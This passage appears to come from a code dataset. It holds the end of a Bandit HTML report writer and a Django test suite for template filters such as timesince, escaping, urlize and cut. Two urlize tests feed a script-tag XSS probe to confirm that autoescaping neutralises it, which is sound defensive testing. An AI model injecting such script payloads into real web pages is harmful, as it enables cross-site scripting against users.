        loc=manager.metrics.data['_totals']['loc'],
        nosec=manager.metrics.data['_totals']['nosec'])

    # build the report and output it
    report_contents = report_block.format(metrics=metrics_summary,
                                          skipped=skipped_text,
                                          results=results_str)

    with utils.output_file(filename, 'w') as fout:
        fout.write(header_block)
        fout.write(report_contents)

    if filename is not None:
        logger.info(""HTML output written to file: %s"" % filename)"
,UNKNOWN,UNKNOWN,tests/template_tests/filters.py,1,"def get_filter_tests():
    now = datetime.now()
    now_tz = timezone.make_aware(now, timezone.get_default_timezone())
    now_tz_i = timezone.localtime(now_tz, timezone.get_fixed_timezone(195))
    today = date.today()

    # NOTE: \xa0 avoids wrapping between value and unit
    return {
        # Default compare with datetime.now()
        'filter-timesince01' : ('{{ a|timesince }}', {'a': datetime.now() + timedelta(minutes=-1, seconds = -10)}, '1\xa0minute'),
        'filter-timesince02' : ('{{ a|timesince }}', {'a': datetime.now() - timedelta(days=1, minutes = 1)}, '1\xa0day'),
        'filter-timesince03' : ('{{ a|timesince }}', {'a': datetime.now() - timedelta(hours=1, minutes=25, seconds = 10)}, '1\xa0hour, 25\xa0minutes'),

        # Compare to a given parameter
        'filter-timesince04' : ('{{ a|timesince:b }}', {'a':now - timedelta(days=2), 'b':now - timedelta(days=1)}, '1\xa0day'),
        'filter-timesince05' : ('{{ a|timesince:b }}', {'a':now - timedelta(days=2, minutes=1), 'b':now - timedelta(days=2)}, '1\xa0minute'),

        # Check that timezone is respected
        'filter-timesince06' : ('{{ a|timesince:b }}', {'a':now_tz - timedelta(hours=8), 'b':now_tz}, '8\xa0hours'),

        # Regression for #7443
        'filter-timesince07': ('{{ earlier|timesince }}', {'earlier': now - timedelta(days=7)}, '1\xa0week'),
        'filter-timesince08': ('{{ earlier|timesince:now }}', {'now': now, 'earlier': now - timedelta(days=7)}, '1\xa0week'),
        'filter-timesince09': ('{{ later|timesince }}', {'later': now + timedelta(days=7)}, '0\xa0minutes'),
        'filter-timesince10': ('{{ later|timesince:now }}', {'now': now, 'later': now + timedelta(days=7)}, '0\xa0minutes'),

        # Ensures that differing timezones are calculated correctly
        # Tests trying to compare a timezone-aware 'now' to now aren't supported on no-tz-support systems (e.g Windows).
        'filter-timesince11' : ('{{ a|timesince }}', {'a': now}, '0\xa0minutes'),
        'filter-timesince12' : ('{{ a|timesince }}', {'a': now_tz}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timesince13' : ('{{ a|timesince }}', {'a': now_tz_i}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timesince14' : ('{{ a|timesince:b }}', {'a': now_tz, 'b': now_tz_i}, '0\xa0minutes'),
        'filter-timesince15' : ('{{ a|timesince:b }}', {'a': now, 'b': now_tz_i}, ''),
        'filter-timesince16' : ('{{ a|timesince:b }}', {'a': now_tz_i, 'b': now}, ''),

        # Regression for #9065 (two date objects).
        'filter-timesince17' : ('{{ a|timesince:b }}', {'a': today, 'b': today}, '0\xa0minutes'),
        'filter-timesince18' : ('{{ a|timesince:b }}', {'a': today, 'b': today + timedelta(hours=24)}, '1\xa0day'),

        # Default compare with datetime.now()
        'filter-timeuntil01' : ('{{ a|timeuntil }}', {'a':datetime.now() + timedelta(minutes=2, seconds = 10)}, '2\xa0minutes'),
        'filter-timeuntil02' : ('{{ a|timeuntil }}', {'a':(datetime.now() + timedelta(days=1, seconds = 10))}, '1\xa0day'),
        'filter-timeuntil03' : ('{{ a|timeuntil }}', {'a':(datetime.now() + timedelta(hours=8, minutes=10, seconds = 10))}, '8\xa0hours, 10\xa0minutes'),

        # Compare to a given parameter
        'filter-timeuntil04' : ('{{ a|timeuntil:b }}', {'a':now - timedelta(days=1), 'b':now - timedelta(days=2)}, '1\xa0day'),
        'filter-timeuntil05' : ('{{ a|timeuntil:b }}', {'a':now - timedelta(days=2), 'b':now - timedelta(days=2, minutes=1)}, '1\xa0minute'),

        # Regression for #7443
        'filter-timeuntil06': ('{{ earlier|timeuntil }}', {'earlier': now - timedelta(days=7)}, '0\xa0minutes'),
        'filter-timeuntil07': ('{{ earlier|timeuntil:now }}', {'now': now, 'earlier': now - timedelta(days=7)}, '0\xa0minutes'),
        'filter-timeuntil08': ('{{ later|timeuntil }}', {'later': now + timedelta(days=7, hours=1)}, '1\xa0week'),
        'filter-timeuntil09': ('{{ later|timeuntil:now }}', {'now': now, 'later': now + timedelta(days=7)}, '1\xa0week'),

        # Ensures that differing timezones are calculated correctly
        # Tests trying to compare a timezone-aware 'now' to now aren't supported on no-tz-support systems (e.g Windows).
        'filter-timeuntil10' : ('{{ a|timeuntil }}', {'a': now_tz}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timeuntil11' : ('{{ a|timeuntil }}', {'a': now_tz_i}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timeuntil12' : ('{{ a|timeuntil:b }}', {'a': now_tz_i, 'b': now_tz}, '0\xa0minutes'),

        # Regression for #9065 (two date objects).
        'filter-timeuntil13' : ('{{ a|timeuntil:b }}', {'a': today, 'b': today}, '0\xa0minutes'),
        'filter-timeuntil14' : ('{{ a|timeuntil:b }}', {'a': today, 'b': today - timedelta(hours=24)}, '1\xa0day'),

        'filter-addslash01': (""{% autoescape off %}{{ a|addslashes }} {{ b|addslashes }}{% endautoescape %}"", {""a"": ""<a>'"", ""b"": mark_safe(""<a>'"")}, r""<a>\' <a>\'""),
        'filter-addslash02': (""{{ a|addslashes }} {{ b|addslashes }}"", {""a"": ""<a>'"", ""b"": mark_safe(""<a>'"")}, r""&lt;a&gt;\&#39; <a>\'""),

        'filter-capfirst01': (""{% autoescape off %}{{ a|capfirst }} {{ b|capfirst }}{% endautoescape %}"", {""a"": ""fred>"", ""b"": mark_safe(""fred&gt;"")}, ""Fred> Fred&gt;""),
        'filter-capfirst02': (""{{ a|capfirst }} {{ b|capfirst }}"", {""a"": ""fred>"", ""b"": mark_safe(""fred&gt;"")}, ""Fred&gt; Fred&gt;""),

        # Note that applying fix_ampsersands in autoescape mode leads to
        # double escaping.
        'filter-fix_ampersands01': (""{% autoescape off %}{{ a|fix_ampersands }} {{ b|fix_ampersands }}{% endautoescape %}"", {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""a&amp;b a&amp;b""),
        'filter-fix_ampersands02': (""{{ a|fix_ampersands }} {{ b|fix_ampersands }}"", {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""a&amp;amp;b a&amp;b""),

        'filter-floatformat01': (""{% autoescape off %}{{ a|floatformat }} {{ b|floatformat }}{% endautoescape %}"", {""a"": ""1.42"", ""b"": mark_safe(""1.42"")}, ""1.4 1.4""),
        'filter-floatformat02': (""{{ a|floatformat }} {{ b|floatformat }}"", {""a"": ""1.42"", ""b"": mark_safe(""1.42"")}, ""1.4 1.4""),

        # The contents of ""linenumbers"" is escaped according to the current
        # autoescape setting.
        'filter-linenumbers01': (""{{ a|linenumbers }} {{ b|linenumbers }}"", {""a"": ""one\n<two>\nthree"", ""b"": mark_safe(""one\n&lt;two&gt;\nthree"")}, ""1. one\n2. &lt;two&gt;\n3. three 1. one\n2. &lt;two&gt;\n3. three""),
        'filter-linenumbers02': (""{% autoescape off %}{{ a|linenumbers }} {{ b|linenumbers }}{% endautoescape %}"", {""a"": ""one\n<two>\nthree"", ""b"": mark_safe(""one\n&lt;two&gt;\nthree"")}, ""1. one\n2. <two>\n3. three 1. one\n2. &lt;two&gt;\n3. three""),

        'filter-lower01': (""{% autoescape off %}{{ a|lower }} {{ b|lower }}{% endautoescape %}"", {""a"": ""Apple & banana"", ""b"": mark_safe(""Apple &amp; banana"")}, ""apple & banana apple &amp; banana""),
        'filter-lower02': (""{{ a|lower }} {{ b|lower }}"", {""a"": ""Apple & banana"", ""b"": mark_safe(""Apple &amp; banana"")}, ""apple &amp; banana apple &amp; banana""),

        # The make_list filter can destroy existing escaping, so the results are
        # escaped.
        'filter-make_list01': (""{% autoescape off %}{{ a|make_list }}{% endautoescape %}"", {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s'&']"")),
        'filter-make_list02': (""{{ a|make_list }}"", {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s&#39;&amp;&#39;]"")),
        'filter-make_list03': ('{% autoescape off %}{{ a|make_list|stringformat:""s""|safe }}{% endautoescape %}', {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s'&']"")),
        'filter-make_list04': ('{{ a|make_list|stringformat:""s""|safe }}', {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s'&']"")),

        # Running slugify on a pre-escaped string leads to odd behavior,
        # but the result is still safe.
        'filter-slugify01': (""{% autoescape off %}{{ a|slugify }} {{ b|slugify }}{% endautoescape %}"", {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""a-b a-amp-b""),
        'filter-slugify02': (""{{ a|slugify }} {{ b|slugify }}"", {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""a-b a-amp-b""),

        # Notice that escaping is applied *after* any filters, so the string
        # formatting here only needs to deal with pre-escaped characters.
        'filter-stringformat01': ('{% autoescape off %}.{{ a|stringformat:""5s"" }}. .{{ b|stringformat:""5s"" }}.{% endautoescape %}',
            {""a"": ""a<b"", ""b"": mark_safe(""a<b"")}, "".  a<b. .  a<b.""),
        'filter-stringformat02': ('.{{ a|stringformat:""5s"" }}. .{{ b|stringformat:""5s"" }}.', {""a"": ""a<b"", ""b"": mark_safe(""a<b"")},
            "".  a&lt;b. .  a<b.""),

        # Test the title filter
        'filter-title1' : ('{{ a|title }}', {'a' : 'JOE\'S CRAB SHACK'}, 'Joe&#39;s Crab Shack'),
        'filter-title2' : ('{{ a|title }}', {'a' : '555 WEST 53RD STREET'}, '555 West 53rd Street'),

        'filter-truncatewords01': ('{% autoescape off %}{{ a|truncatewords:""2"" }} {{ b|truncatewords:""2""}}{% endautoescape %}',
            {""a"": ""alpha & bravo"", ""b"": mark_safe(""alpha &amp; bravo"")}, ""alpha & ... alpha &amp; ...""),
        'filter-truncatewords02': ('{{ a|truncatewords:""2"" }} {{ b|truncatewords:""2""}}',
            {""a"": ""alpha & bravo"", ""b"": mark_safe(""alpha &amp; bravo"")}, ""alpha &amp; ... alpha &amp; ...""),

        'filter-truncatechars01': ('{{ a|truncatechars:5 }}', {'a': ""Testing, testing""}, ""Te...""),
        'filter-truncatechars02': ('{{ a|truncatechars:7 }}', {'a': ""Testing""}, ""Testing""),

        # The ""upper"" filter messes up entities (which are case-sensitive),
        # so it's not safe for non-escaping purposes.
        'filter-upper01': ('{% autoescape off %}{{ a|upper }} {{ b|upper }}{% endautoescape %}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""A & B A &AMP; B""),
        'filter-upper02': ('{{ a|upper }} {{ b|upper }}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""A &amp; B A &amp;AMP; B""),

        'filter-urlize01': ('{% autoescape off %}{{ a|urlize }} {{ b|urlize }}{% endautoescape %}', {""a"": ""http://example.com/?x=&y="", ""b"": mark_safe(""http://example.com?x=&amp;y="")}, '<a href=""http://example.com/?x=&y="" rel=""nofollow"">http://example.com/?x=&y=</a> <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http://example.com?x=&amp;y=</a>'),
        'filter-urlize02': ('{{ a|urlize }} {{ b|urlize }}', {""a"": ""http://example.com/?x=&y="", ""b"": mark_safe(""http://example.com?x=&amp;y="")}, '<a href=""http://example.com/?x=&amp;y="" rel=""nofollow"">http://example.com/?x=&amp;y=</a> <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http://example.com?x=&amp;y=</a>'),
        'filter-urlize03': ('{% autoescape off %}{{ a|urlize }}{% endautoescape %}', {""a"": mark_safe(""a &amp; b"")}, 'a &amp; b'),
        'filter-urlize04': ('{{ a|urlize }}', {""a"": mark_safe(""a &amp; b"")}, 'a &amp; b'),

        # This will lead to a nonsense result, but at least it won't be
        # exploitable for XSS purposes when auto-escaping is on.
        'filter-urlize05': ('{% autoescape off %}{{ a|urlize }}{% endautoescape %}', {""a"": ""<script>alert('foo')</script>""}, ""<script>alert('foo')</script>""),
        'filter-urlize06': ('{{ a|urlize }}', {""a"": ""<script>alert('foo')</script>""}, '&lt;script&gt;alert(&#39;foo&#39;)&lt;/script&gt;'),

        # mailto: testing for urlize
        'filter-urlize07': ('{{ a|urlize }}', {""a"": ""Email me at me@example.com""}, 'Email me at <a href=""mailto:me@example.com"">me@example.com</a>'),
        'filter-urlize08': ('{{ a|urlize }}', {""a"": ""Email me at <me@example.com>""}, 'Email me at &lt;<a href=""mailto:me@example.com"">me@example.com</a>&gt;'),

        'filter-urlizetrunc01': ('{% autoescape off %}{{ a|urlizetrunc:""8"" }} {{ b|urlizetrunc:""8"" }}{% endautoescape %}', {""a"": '""Unsafe"" http://example.com/x=&y=', ""b"": mark_safe('&quot;Safe&quot; http://example.com?x=&amp;y=')}, '""Unsafe"" <a href=""http://example.com/x=&y="" rel=""nofollow"">http:...</a> &quot;Safe&quot; <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http:...</a>'),
        'filter-urlizetrunc02': ('{{ a|urlizetrunc:""8"" }} {{ b|urlizetrunc:""8"" }}', {""a"": '""Unsafe"" http://example.com/x=&y=', ""b"": mark_safe('&quot;Safe&quot; http://example.com?x=&amp;y=')}, '&quot;Unsafe&quot; <a href=""http://example.com/x=&amp;y="" rel=""nofollow"">http:...</a> &quot;Safe&quot; <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http:...</a>'),

        'filter-wordcount01': ('{% autoescape off %}{{ a|wordcount }} {{ b|wordcount }}{% endautoescape %}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""3 3""),
        'filter-wordcount02': ('{{ a|wordcount }} {{ b|wordcount }}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""3 3""),

        'filter-wordwrap01': ('{% autoescape off %}{{ a|wordwrap:""3"" }} {{ b|wordwrap:""3"" }}{% endautoescape %}', {""a"": ""a & b"", ""b"": mark_safe(""a & b"")}, ""a &\nb a &\nb""),
        'filter-wordwrap02': ('{{ a|wordwrap:""3"" }} {{ b|wordwrap:""3"" }}', {""a"": ""a & b"", ""b"": mark_safe(""a & b"")}, ""a &amp;\nb a &\nb""),

        'filter-ljust01': ('{% autoescape off %}.{{ a|ljust:""5"" }}. .{{ b|ljust:""5"" }}.{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".a&b  . .a&b  .""),
        'filter-ljust02': ('.{{ a|ljust:""5"" }}. .{{ b|ljust:""5"" }}.', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".a&amp;b  . .a&b  .""),

        'filter-rjust01': ('{% autoescape off %}.{{ a|rjust:""5"" }}. .{{ b|rjust:""5"" }}.{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".  a&b. .  a&b.""),
        'filter-rjust02': ('.{{ a|rjust:""5"" }}. .{{ b|rjust:""5"" }}.', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".  a&amp;b. .  a&b.""),

        'filter-center01': ('{% autoescape off %}.{{ a|center:""5"" }}. .{{ b|center:""5"" }}.{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "". a&b . . a&b .""),
        'filter-center02': ('.{{ a|center:""5"" }}. .{{ b|center:""5"" }}.', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "". a&amp;b . . a&b .""),

        'filter-cut01': ('{% autoescape off %}{{ a|cut:""x"" }} {{ b|cut:""x"" }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""&y &amp;y""),
        'filter-cut02': ('{{ a|cut:""x"" }} {{ b|cut:""x"" }}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""&amp;y &amp;y""),
        'filter-cut03': ('{% autoescape off %}{{ a|cut:""&"" }} {{ b|cut:""&"" }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""xy xamp;y""),
        'filter-cut04': ('{{ a|cut:""&"" }} {{ b|cut:""&"" }}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""xy xamp;y""),
        # Passing ';' to cut can break existing HTML entities, so those strings
        # are auto-escaped.
        'filter-cut05': ('{% autoescape off %}{{ a|cut:"";"" }} {{ b|cut:"";"" }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""x&y x&ampy""),
        'filter-cut06': ('{{ a|cut:"";"" }} {{ b|cut:"";"" }}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""x&amp;y x&amp;ampy""),

        # The ""escape"" filter works the same whether autoescape is on or off,
        # but it has no effect on strings already marked as safe.
        'filter-escape01': ('{{ a|escape }} {{ b|escape }}', {""a"": ""x&y"", ""b"": mark_safe(""x&y"")}, ""x&amp;y x&y""),
        'filter-escape02': ('{% autoescape off %}{{ a|escape }} {{ b|escape }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&y"")}, ""x&amp;y x&y""),

        # It is only applied once, regardless of the number of times it
        # appears in a chain.
        'filter-escape03': ('{% autoescape off %}{{ a|escape|escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-escape04': ('{{ a|escape|escape }}', {""a"": ""x&y""}, ""x&amp;y""),

        # Force_escape is applied immediately. It can be used to provide
        # double-escaping, for example.
        'filter-force-escape01': ('{% autoescape off %}{{ a|force_escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape02': ('{{ a|force_escape }}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape03': ('{% autoescape off %}{{ a|force_escape|force_escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;amp;y""),
        'filter-force-escape04': ('{{ a|force_escape|force_escape }}', {""a"": ""x&y""}, ""x&amp;amp;y""),

        # Because the result of force_escape is ""safe"", an additional
        # escape filter has no effect.
        'filter-force-escape05': ('{% autoescape off %}{{ a|force_escape|escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape06': ('{{ a|force_escape|escape }}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape07': ('{% autoescape off %}{{ a|escape|force_escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape08': ('{{ a|escape|force_escape }}', {""a"": ""x&y""}, ""x&amp;y""),

        # The contents in ""linebreaks"" and ""linebreaksbr"" are escaped
        # according to the current autoescape setting.
        'filter-linebreaks01': ('{{ a|linebreaks }} {{ b|linebreaks }}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""<p>x&amp;<br />y</p> <p>x&<br />y</p>""),
        'filter-linebreaks02': ('{% autoescape off %}{{ a|linebreaks }} {{ b|linebreaks }}{% endautoescape %}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""<p>x&<br />y</p> <p>x&<br />y</p>""),

        'filter-linebreaksbr01': ('{{ a|linebreaksbr }} {{ b|linebreaksbr }}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""x&amp;<br />y x&<br />y""),
        'filter-linebreaksbr02': ('{% autoescape off %}{{ a|linebreaksbr }} {{ b|linebreaksbr }}{% endautoescape %}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""x&<br />y x&<br />y""),

        'filter-safe01': (""{{ a }} -- {{ a|safe }}"", {""a"": ""<b>hello</b>""}, ""&lt;b&gt;hello&lt;/b&gt; -- <b>hello</b>""),
        'filter-safe02': (""{% autoescape off %}{{ a }} -- {{ a|safe }}{% endautoescape %}"", {""a"": ""<b>hello</b>""}, ""<b>hello</b> -- <b>hello</b>""),

        'filter-safeseq01': ('{{ a|join:"", "" }} -- {{ a|safeseq|join:"", "" }}', {""a"": [""&"", ""<""]}, ""&amp;, &lt; -- &, <""),
        'filter-safeseq02': ('{% autoescape off %}{{ a|join:"", "" }} -- {{ a|safeseq|join:"", "" }}{% endautoescape %}', {""a"": [""&"", ""<""]}, ""&, < -- &, <""),

        'filter-removetags01': ('{{ a|removetags:""a b"" }} {{ b|removetags:""a b"" }}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x &lt;p&gt;y&lt;/p&gt; x <p>y</p>""),
        'filter-removetags02': ('{% autoescape off %}{{ a|removetags:""a b"" }} {{ b|removetags:""a b"" }}{% endautoescape %}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x <p>y</p> x <p>y</p>""),

        'filter-striptags01': ('{{ a|striptags }} {{ b|striptags }}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x y x y""),
        'filter-striptags02': ('{% autoescape off %}{{ a|striptags }} {{ b|striptags }}{% endautoescape %}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x y x y""),

        'filter-first01': ('{{ a|first }} {{ b|first }}', {""a"": [""a&b"", ""x""], ""b"": [mark_safe(""a&b""), ""x""]}, ""a&amp;b a&b""),
        'filter-first02': ('{% autoescape off %}{{ a|first }} {{ b|first }}{% endautoescape %}', {""a"": [""a&b"", ""x""], ""b"": [mark_safe(""a&b""), ""x""]}, ""a&b a&b""),

        'filter-last01': ('{{ a|last }} {{ b|last }}', {""a"": [""x"", ""a&b""], ""b"": [""x"", mark_safe(""a&b"")]}, ""a&amp;b a&b""),
        'filter-last02': ('{% autoescape off %}{{ a|last }} {{ b|last }}{% endautoescape %}', {""a"": [""x"", ""a&b""], ""b"": [""x"", mark_safe(""a&b"")]}, ""a&b a&b""),

        'filter-random01': ('{{ a|random }} {{ b|random }}', {""a"": [""a&b"", ""a&b""], ""b"": [mark_safe(""a&b""), mark_safe(""a&b"")]}, ""a&amp;b a&b""),
        'filter-random02': ('{% autoescape off %}{{ a|random }} {{ b|random }}{% endautoescape %}', {""a"": [""a&b"", ""a&b""], ""b"": [mark_safe(""a&b""), mark_safe(""a&b"")]}, ""a&b a&b""),

        'filter-slice01': ('{{ a|slice:""1:3"" }} {{ b|slice:""1:3"" }}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""&amp;b &b""),
        'filter-slice02': ('{% autoescape off %}{{ a|slice:""1:3"" }} {{ b|slice:""1:3"" }}{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""&b &b""),

        'filter-unordered_list01': ('{{ a|unordered_list }}', {""a"": [""x>"", [[""<y"", []]]]}, ""\t<li>x&gt;\n\t<ul>\n\t\t<li>&lt;y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list02': ('{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}', {""a"": [""x>"", [[""<y"", []]]]}, ""\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list03': ('{{ a|unordered_list }}', {""a"": [""x>"", [[mark_safe(""<y""), []]]]}, ""\t<li>x&gt;\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list04': ('{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}', {""a"": [""x>"", [[mark_safe(""<y""), []]]]}, ""\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list05': ('{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}', {""a"": [""x>"", [[""<y"", []]]]}, ""\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),

        # Literal string arguments to the default filter are always treated as
        # safe strings, regardless of the auto-escaping state.
        #
        # Note: we have to use {""a"": """"} here, otherwise the invalid template
        # variable string interferes with the test result.
        'filter-default01': ('{{ a|default:""x<"" }}', {""a"": """"}, ""x<""),
        'filter-default02': ('{% autoescape off %}{{ a|default:""x<"" }}{% endautoescape %}', {""a"": """"}, ""x<""),
        'filter-default03': ('{{ a|default:""x<"" }}', {""a"": mark_safe(""x>"")}, ""x>""),
        'filter-default04': ('{% autoescape off %}{{ a|default:""x<"" }}{% endautoescape %}', {""a"": mark_safe(""x>"")}, ""x>""),

        'filter-default_if_none01': ('{{ a|default:""x<"" }}', {""a"": None}, ""x<""),
        'filter-default_if_none02': ('{% autoescape off %}{{ a|default:""x<"" }}{% endautoescape %}', {""a"": None}, ""x<""),

        'filter-phone2numeric01': ('{{ a|phone2numeric }} {{ b|phone2numeric }}', {""a"": ""<1-800-call-me>"", ""b"": mark_safe(""<1-800-call-me>"")}, ""&lt;1-800-2255-63&gt; <1-800-2255-63>""),
        'filter-phone2numeric02': ('{% autoescape off %}{{ a|phone2numeric }} {{ b|phone2numeric }}{% endautoescape %}', {""a"": ""<1-800-call-me>"", ""b"": mark_safe(""<1-800-call-me>"")}, ""<1-800-2255-63> <1-800-2255-63>""),
        'filter-phone2numeric03': ('{{ a|phone2numeric }}', {""a"": ""How razorback-jumping frogs can level six piqued gymnasts!""}, ""469 729672225-5867464 37647 226 53835 749 747833 49662787!""),

        # Ensure iriencode keeps safe strings:
        'filter-iriencode01': ('{{ url|iriencode }}', {'url': '?test=1&me=2'}, '?test=1&amp;me=2'),
        'filter-iriencode02': ('{% autoescape off %}{{ url|iriencode }}{% endautoescape %}', {'url': '?test=1&me=2'}, '?test=1&me=2'),
        'filter-iriencode03': ('{{ url|iriencode }}', {'url': mark_safe('?test=1&me=2')}, '?test=1&me=2'),
        'filter-iriencode04': ('{% autoescape off %}{{ url|iriencode }}{% endautoescape %}', {'url': mark_safe('?test=1&me=2')}, '?test=1&me=2'),

        # urlencode
        'filter-urlencode01': ('{{ url|urlencode }}', {'url': '/test&""/me?/'}, '/test%26%22/me%3F/'),
        'filter-urlencode02': ('/test/{{ urlbit|urlencode:"""" }}/', {'urlbit': 'escape/slash'}, '/test/escape%2Fslash/'),

        # Chaining a bunch of safeness-preserving filters should not alter
        # the safe status either way.
        'chaining01': ('{{ a|capfirst|center:""7"" }}.{{ b|capfirst|center:""7"" }}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, "" A &lt; b . A < b ""),
        'chaining02': ('{% autoescape off %}{{ a|capfirst|center:""7"" }}.{{ b|capfirst|center:""7"" }}{% endautoescape %}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, "" A < b . A < b ""),

        # Using a filter that forces a string back to unsafe:
        'chaining03': ('{{ a|cut:""b""|capfirst }}.{{ b|cut:""b""|capfirst }}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, ""A &lt; .A < ""),
        'chaining04': ('{% autoescape off %}{{ a|cut:""b""|capfirst }}.{{ b|cut:""b""|capfirst }}{% endautoescape %}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, ""A < .A < ""),

        # Using a filter that forces safeness does not lead to double-escaping
        'chaining05': ('{{ a|escape|capfirst }}', {""a"": ""a < b""}, ""A &lt; b""),
        'chaining06': ('{% autoescape off %}{{ a|escape|capfirst }}{% endautoescape %}', {""a"": ""a < b""}, ""A &lt; b""),

        # Force to safe, then back (also showing why using force_escape too
        # early in a chain can lead to unexpected results).
        'chaining07': ('{{ a|force_escape|cut:"";"" }}', {""a"": ""a < b""}, ""a &amp;lt b""),
        'chaining08': ('{% autoescape off %}{{ a|force_escape|cut:"";"" }}{% endautoescape %}', {""a"": ""a < b""}, ""a &lt b""),
        'chaining09': ('{{ a|cut:"";""|force_escape }}', {""a"": ""a < b""}, ""a &lt; b""),
        'chaining10': ('{% autoescape off %}{{ a|cut:"";""|force_escape }}{% endautoescape %}', {""a"": ""a < b""}, ""a &lt; b""),
        'chaining11': ('{{ a|cut:""b""|safe }}', {""a"": ""a < b""}, ""a < ""),
        'chaining12': ('{% autoescape off %}{{ a|cut:""b""|safe }}{% endautoescape %}', {""a"": ""a < b""}, ""a < ""),
        'chaining13': ('{{ a|safe|force_escape }}', {""a"": ""a < b""}, ""a &lt; b""),
        'chaining14': ('{% autoescape off %}{{ a|safe|force_escape }}{% endautoescape %}', {""a"": ""a < b""}, ""a &lt; b""),

        # Filters decorated with stringfilter still respect is_safe.
        'autoescape-stringfilter01': (r'{{ unsafe|capfirst }}', {'unsafe': UnsafeClass()}, 'You &amp; me'),
        'autoescape-stringfilter02': (r'{% autoescape off %}{{ unsafe|capfirst }}{% endautoescape %}', {'unsafe': UnsafeClass()}, 'You & me'),
        'autoescape-stringfilter03': (r'{{ safe|capfirst }}', {'safe': SafeClass()}, 'You &gt; me'),
        'autoescape-stringfilter04': (r'{% autoescape off %}{{ safe|capfirst }}{% endautoescape %}', {'safe': SafeClass()}, 'You &gt; me'),

        'escapejs01': (r'{{ a|escapejs }}', {'a': 'testing\r\njavascript \'string"" <b>escaping</b>'}, 'testing\\u000D\\u000Ajavascript \\u0027string\\u0022 \\u003Cb\\u003Eescaping\\u003C/b\\u003E'),
        'escapejs02': (r'{% autoescape off %}{{ a|escapejs }}{% endautoescape %}', {'a': 'testing\r\njavascript \'string"" <b>escaping</b>'}, 'testing\\u000D\\u000Ajavascript \\u0027string\\u0022 \\u003Cb\\u003Eescaping\\u003C/b\\u003E'),


        # length filter.
        'length01': ('{{ list|length }}', {'list': ['4', None, True, {}]}, '4'),
        'length02': ('{{ list|length }}', {'list': []}, '0'),
        'length03': ('{{ string|length }}', {'string': ''}, '0'),
        'length04': ('{{ string|length }}', {'string': 'django'}, '6'),
        # Invalid uses that should fail silently.
